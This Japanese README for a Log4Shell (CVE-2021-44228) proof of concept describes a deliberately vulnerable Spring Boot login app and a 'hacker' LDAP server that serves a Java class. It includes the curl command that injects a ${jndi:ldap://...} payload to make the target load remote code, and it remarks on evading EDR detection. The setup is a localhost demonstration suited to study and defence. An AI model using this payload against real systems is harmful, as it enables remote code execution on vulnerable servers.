
log4j2 Log4Shell CVE-2021-44228 概念実証
シンプルなSpring Bootアプリケーションで、ユーザー名とパスワードのログインページを提供します。POSTで / に送信されたユーザー名をログに記録します。アプリケーションがユーザー入力のログを記録する必要はありません。脆弱なバージョンのlog4j2を使用するアクセスログを有効にするだけで十分です。
実行方法:
cd exploitable
../mvnw -q spring-boot:run
デフォルトではポート8080でリッスンします。ブラウザで http://localhost:8080/ にアクセスすると、次のような画面が表示されます:
pom.xml にはJVMプロパティが指定されています:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
これは古いバージョンのJDKでは必要ありません。デフォルトは以下のバージョンでfalseに変更されました: JDK 11.0.1、8u191、7u201、6u211。このプロパティがなくても、アプリケーションは初期のLDAPリクエストに対して脆弱であり、機密データが流出する可能性があります。

ハッカーアプリケーションには2つの目的があります:
実行方法:
cd hacker
../mvnw -q spring-boot:run
pom.xml では、exploitableアプリケーションに送信するデフォルトのペイロードを変更できます:
--class=SayHello がデフォルトで、SayHello.class をペイロードとして送信します。
ユーザー入力(ユーザー名)のいずれかでハッカーのLDAPサーバーを参照するcurlリクエストをexploitアプリケーションに送信します:
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/
exploitableアプリケーションのコンソールに、次のような出力が表示されます:

${jndi:ldap://127.0.0.1:1389} を送信した127.0.0.1:1389 にLDAPリクエストを送信するdn:
objectClass: javaNamingReference
javaClassName: SayHello
javaCodeBase: http://127.0.0.1:9090/
javaFactory: SayHello
SayHello.class のバイト列を返すgetObjectInstance メソッドを実行する初期のLDAPリクエストとエクスプロイトJavaクラスのダウンロード後、エクスプロイトがプロセスをフォークしたり、インターネットに追加の接続を行ったりする必要はありません。通常、この種のエクスプロイトはEDR製品などで簡単に検出できます。新しいエクスプロイトペイロードは、検出を回避するためにJavaでネイティブに実装されるだろうと推測しています。